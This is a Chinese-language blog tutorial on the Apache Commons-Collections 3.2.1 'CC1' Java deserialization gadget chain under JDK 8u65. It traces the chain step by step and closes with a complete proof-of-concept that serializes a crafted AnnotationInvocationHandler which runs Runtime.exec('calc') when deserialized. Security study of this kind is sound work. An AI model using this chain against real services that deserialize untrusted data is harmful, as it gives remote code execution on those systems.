Commons-Collections1反序列化

JDK版本为jdk8u65

commons-collections版本为3.2.1

InvokerTransformer

CC1的漏洞点在InvokerTransformerInvokerTransformer下有一个transform方法:

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);

    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
}

这里的transform接受一个任意的Object类型输入,而且反射调用的参数都可以控制,那么这里就可以实现任意方法调用。
先写一个通过反射调用函数的demo:

package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Method;

public class CC1 {
    public static void main(String[] args) throws Exception{
        // 创建Runtime对象
        Runtime r = Runtime.getRuntime();
        // 创建Class对象
        Class c = Runtime.class;
        // 使用getMethod方法从Runtime类中获取exec方法
        Method method = c.getMethod("exec", String.class);
        // 使用invoke方法调用method对象表示的方法
        method.invoke(r,"calc");
    }
}

接着,将这个demo改写为通过InvokerTransformer调用,先看一下调用InvokerTransformer需要传什么参数,结合上面InvokerTransformertransform方法,我们应该传的参数为:"exec"new Class[]{String.class}new Object[]{"calc"}

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}

那么将我们的demo改写为:

package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;

public class CC1 {
    public static void main(String[] args) throws Exception{
        Runtime r = Runtime.getRuntime();

        new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(r);
    }
}

下一步的目标就是寻找哪个类也调用了transform方法。

TransformedMap

这里发现TransformedMap类中的checkSetValue函数中对valueTransformer调用了transform方法:

protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}

接着,在TransformedMap中发现下面这段代码调用了valueTransformer

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}

然后又发现下面这段代码调用了TransformedMap:

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

于是,可以将demo改写为:

package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;

public class CC1 {
    public static void main(String[] args) throws Exception{
        Runtime r = Runtime.getRuntime();

        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"});

        HashMap<Object, Object> map = new HashMap<>();
        TransformedMap.decorate(map, null, invokerTransformer);
    }
}

AbstractInputCheckedMapDecorator

接下来,需要找到如何调用checkSetValue,通过idea查找用法发现在抽象类AbstractInputCheckedMapDecorator中的MapEntry类调用了这个方法。

static class MapEntry extends AbstractMapEntryDecorator {

    /** The parent map */
    private final AbstractInputCheckedMapDecorator parent;

    protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
        super(entry);
        this.parent = parent;
    }

    public Object setValue(Object value) {
        value = parent.checkSetValue(value);
        return entry.setValue(value);
    }
}

这里的MapEntry在遍历Map的时候会被调用,接着改写demo代码:

package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception{
        Runtime r = Runtime.getRuntime();

        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"});

        HashMap<Object, Object> map = new HashMap<>();
        map.put("key", "aaa");
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

        for (Map.Entry entry:transformedMap.entrySet()) {
            entry.setValue(r);
        }
    }
}

这样一来,当我们遍历Map进行setValue的时候就会形成一条调用链:MapEntry -> setValue -> checkSetValue -> valueTransformer.transform,而valueTransformer就是我们通过TransformedMap.decorate(map, null, invokerTransformer)设置的invokerTransformer

调试一下demo代码:

AnnotationInvocationHandler

继续寻找在哪个类里面调用了setValue方法,发现在AnnotationInvocationHandler类的readObject方法中使用了memberValue.setValue

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();

    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }
    }
}

通过观察AnnotationInvocationHandler类可以发现memberValues是可控的:

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
    Class<?>[] superInterfaces = type.getInterfaces();
    if (!type.isAnnotation() ||
        superInterfaces.length != 1 ||
        superInterfaces[0] != java.lang.annotation.Annotation.class)
        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
    this.type = type;
    this.memberValues = memberValues;
}

由于AnnotationInvocationHandler不是public,所以只能通过反射的方式去获取,接着改写demo代码:

package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception{
        Runtime r = Runtime.getRuntime();

        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"});

        HashMap<Object, Object> map = new HashMap<>();
        map.put("key", "aaa");
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
        
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        annotationInvocationdhdlConstructor.setAccessible(true);
        Object o = annotationInvocationdhdlConstructor.newInstance(Override.class,transformedMap);

        serialize(o);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

目前,上述代码还存在几个问题:(1)Runtime不能序列化(2)调用memberValue.setValue时需要绕过几个if判断(3)memberValue.setValue中的参数值不可控。
首先将Runtime转换为可以序列化的版本:

Class c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime", null);
Runtime r = (Runtime)getRuntimeMethod.invoke(null, null);
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r, "calc");

然后将上面的代码改为InvokerTransformer版本:

Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

可以看到上面的代码是重复调用的,所以改为ChainedTransformer:

Transformer[] transformers = new Transformer[]{
	new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
	new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
	new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

接着来绕过if判断,在AnnotationInvocationHandler类的readObject方法中要保证memberType不为空,跟进Override

@Target(ElementType.METHOD)
@Retention(RetentionPolicy.SOURCE)
public @interface Override {
}

再次跟进Target

@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.ANNOTATION_TYPE)
public @interface Target {
    /**
     * Returns an array of the kinds of elements an annotation type
     * can be applied to.
     * @return an array of the kinds of elements an annotation type
     * can be applied to
     */
    ElementType[] value();
}

发现其中有个value方法,所以将Override.class修改为Target.class并且将Map的key修改为value。修改之后就可以成功执行到setValue,到此为止就只差setValue中的值了,而setValue中的valueTransformer已经是chainedTransformer

ConstantTransformer

最后一处修改需要引入ConstantTransformer类,在这个类中不管传入什么都是直接赋值给iConstant,而通过ConstantTransformer调用transform,则会直接返回iConstant,那么就相当于输入什么返回什么:

/**
 * Constructor that performs no validation.
 * Use <code>getInstance</code> if you want that.
 * 
 * @param constantToReturn  the constant to return each time
 */
public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}

/**
* Transforms the input by ignoring it and returning the stored constant instead.
* 
* @param input  the input object which is ignored
* @return the stored constant
*/
public Object transform(Object input) {
    return iConstant;
}

POC

最终修改之后的demo代码:

package org.example;
import java.lang.annotation.Target;
import java.lang.reflect.Method;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "aaa");
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        annotationInvocationdhdlConstructor.setAccessible(true);
        Object o = annotationInvocationdhdlConstructor.newInstance(Target.class,transformedMap);

        serialize(o);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

测试:

posted @ 2023-03-22 20:07  顾北清  阅读(68)  评论(0编辑  收藏  举报